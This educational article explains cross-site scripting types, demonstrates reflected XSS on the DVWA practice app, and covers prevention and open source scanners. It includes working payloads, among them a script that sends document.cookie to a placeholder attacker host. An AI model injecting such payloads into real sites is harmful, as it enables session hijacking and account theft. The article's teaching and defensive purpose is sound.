Cross-Site Scripting Attacks Prevention is Better than Cure – XSS

Today, the Internet is full of crooks who could relieve you of your identity, your accounts and other valuable information, using malicious attacks such as cross-site scripting – XSS. But if you are aware of the various XSS methods used, and the open source tools that help you detect them, you could prevent such attacks.

With the growth of the Internet, there has been an increase in the number and type of malicious online attacks. Remote code execution, SQL injection, cross-site scripting (XSS) and cross-site request forgery (CSRF) are some of the well known attacks, apart from several others. One vulnerability that is often exploited is cross-site scripting (XSS), which this article will focus on.
XSS vulnerabilities have been reported and exploited for more than a couple of decades. These can tamper data, as well as steal sensitive data or user sessions. The consequences may be severe, depending on the sensitivity of the data and the capabilities of the attacker.
Cross-site scripting (XSS) is a vulnerability typically found in Web applications. An attack on this class of vulnerabilities occurs when an attacker injects malicious code into a Web application in an attempt to gain access to unauthorised information. In such situations, the victims are unaware that information is being transferred from a site that they trust to another site controlled by the attackers. The attackers run their own client-side scripts (especially JavaScript) into Web pages. In a typical XSS attack, attackers inject their malicious JavaScript code into the legitimate website. When a user visits the specially-crafted link, the malicious JavaScript code will be executed. A successfully exploited XSS vulnerability will allow attackers to carry out phishing attacks, steal accounts and even inject worms. One of the key concepts of XSS is that the victim is the user, not the application.

Types of XSS
Reflected or non-persistent XSS: Reflected or non-persistent XSS is when the user input is accepted without any validation. In such cases, the injected code is sent as part of the request and shown in the response. Common locations for reflected XSS are in error messages or search results. Reflected attacks require getting the user to click on the specially crafted URL or injected form. They are usually embedded in phishing emails or hidden through URL shorteners.
Stored or persistent XSS: This occurs when the untrusted user input is processed and permanently stored in the Web application. Common locations for stored XSS are in message forums, blog comments, or comment fields. The stored attack is sent to the users when they access the information.
DOM-based XSS: This is a form of client-side XSS, which occurs in an environment where the source of the data is in the DOM. Such an attack directly manipulates the browser through the DOM. DOM-based attacks are different since response from the server is not manipulated, but the client-side scripting is manipulated to modify how it runs.
Note 1: The below example has been demonstrated on Damn Vulnerable Web App (DVWA) which is an open source web application to practice and understand web based penetration testing.

An example of a reflected XSS attack
To successfully carry out a reflected XSS attack, the following conditions should occur:

1. The victim must be willing to initiate some action such as clicking a link, performing a search or some other application-specific function.
2. The victim must be logged into the vulnerable application at the time of clicking the malicious link.
   Sometimes the attacker is lucky and these conditions do occur. While this is a common vulnerability, it often also requires social engineering to be successful.

One common method of finding out if an application is vulnerable to XSS is through the input box. Once you go to the XSS reflected page, you will see it’s just a text box that allows you to type your name. This normal text box is similar to the kind we see in all other sites. So let’s check for vulnerability by entering the syntax of the JavaScript pop-up alert box directly in the text box, as follows:

<script>alert(“XSS Alert!”)</script>

After you hit the ‘Submit’ button to send the request, the application responds. In my case, I expected to notice the ‘Hello’ pre-appended to the user input, but it also responded with a JavaScript alert box. This alert box alone does not do any damage, but is proof that the site is vulnerable to XSS.

Another attack vector directly uses the URL address bar to send in an XSS attack. When a normal name is used for input and the application successfully displays the name back in the browser, you will notice URL is built as shown in Figure 3.
This knowledge is often used to perform a URL-encoded XSS attack directly in the URL address bar. An attacker can craft a link like what’s shown below to steal the user’s session cookie, and steal the user session:

localhost/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

XSS vulnerabilities are common at the server side and can be used to manipulate user controlled data that the server uses to generate content. XSS data is put into the HTML document directly by the server and delivered to the end user with the XSS intact. Server-side XSS checks will be more likely to prevent this kind of attack.

An example of a simple ‘in-URL’ XSS attack
Once a location to perform the XSS is found using the above sections, a way to collect cookies can be implemented, usually via a remote server that is under the control of the attacker. Then an XSS injection is crafted in a manner similar to the following, which creates a fake image on the page to send the user’s cookie data to the server:

<script>
document.write(‘<img src=\’http://attackersite.com/getcookie.php?cookie=’+escape(document.cookie)+’\’ height=1 width=1>’);
</script>

On the server side, getcookie.php can now retrieve the session data from the cookie, and the attacker can impersonate the user.

How to prevent XSS attacks
XSS can only be prevented by carefully validating and sanitising all inputs thought to be insecure. Never trust user data or data coming from any other unknown sources. Every bit of data must be validated on input and escaped on output. This is the first step to protecting oneself against XSS. In order to implement security measures that prevent XSS attacks, special attention should be paid to data validation, data sanitisation, and output escaping.
Data validation ensures that your application is running with the correct data. If your script expects an integer as the user input, then any other type of data will be discarded. Every piece of user data must be validated when it is received to ensure it is of the correct type, and discarded if it doesn’t pass the validation process.
Data sanitisation focuses on manipulating the data to make sure it is safe by removing any unwanted characters from the data and normalising it to the correct form. For example, if you are expecting a plain text string as user input, you may want to remove any HTML mark-up from it.
Proper escaping should be performed on the data before presenting it to the user. This prevents the browser from applying any unintended meaning to any special sequence of characters that may be found. If you host a website, you will want it to be hacker-proof, and so you will need to perform checks for these vulnerabilities. Fortunately, we have tools to perform these tasks for us. Given below are some of the open source tools that will help us in detecting the various flaws in our websites.
XSSer: This is an open source penetration testing tool that automates the process of detecting and exploiting XSS injections in any website.
http://xsser.sourceforge.net/
Zaproxy: This is an easy to use integrated penetration testing tool for finding vulnerabilities in Web applications.
http://code.google.com/p/zaproxy/
Firing Range: This is a test bed for Web application security scanners and provides synthetic, wide coverage for an array of vulnerabilities. It can be deployed as a Google App Engine application.
https://github.com/google/firing-range
Nikto Web Scanner: This is a Web server scanner that tests Web servers for dangerous files/CGIs, outdated server software and other problems. It performs generic and server type specific checks.
https://cirt.net/Nikto2
https://github.com/sullo/nikto
Vega: This is a free and open source scanner and testing platform to test the security of Web applications. Vega can help you find and validate SQL Injection, XSS, inadvertently disclosed sensitive information, and other vulnerabilities.
https://subgraph.com/vega/
Grabber: This is a nice Web application scanner that can detect many security vulnerabilities in Web applications. It performs scans and indicates where the vulnerability exists.
http://rgaucher.info/beta/grabber/
Source code on Github: https://github.com/neuroo/grabber
Wapiti: This is also a good Web vulnerability scanner that lets you test the security of your Web applications. It performs black-box testing by scanning Web pages and injecting data.
http://wapiti.sourceforge.net/
WebScarab: This is a Java-based security framework for analysing Web applications using the HTTP or HTTPS protocols. With available plugins, you can extend the functionality of the tool, which works as an intercepting proxy. So, you can review the request coming to your browser and the response going to the server.
Source code on Github: https://github.com/OWASP/OWASP-WebScarab
Ratproxy: This is also an open source Web application security audit tool, which can be used to find security vulnerabilities in Web applications.
http://code.google.com/p/ratproxy/
X5s: This is also a Fiddler add-on, which aims to provide a way to find cross-site scripting vulnerabilities. This is not an automatic tool. So, you need to understand how encoding issues can lead to XSS.
http://xss.codeplex.com/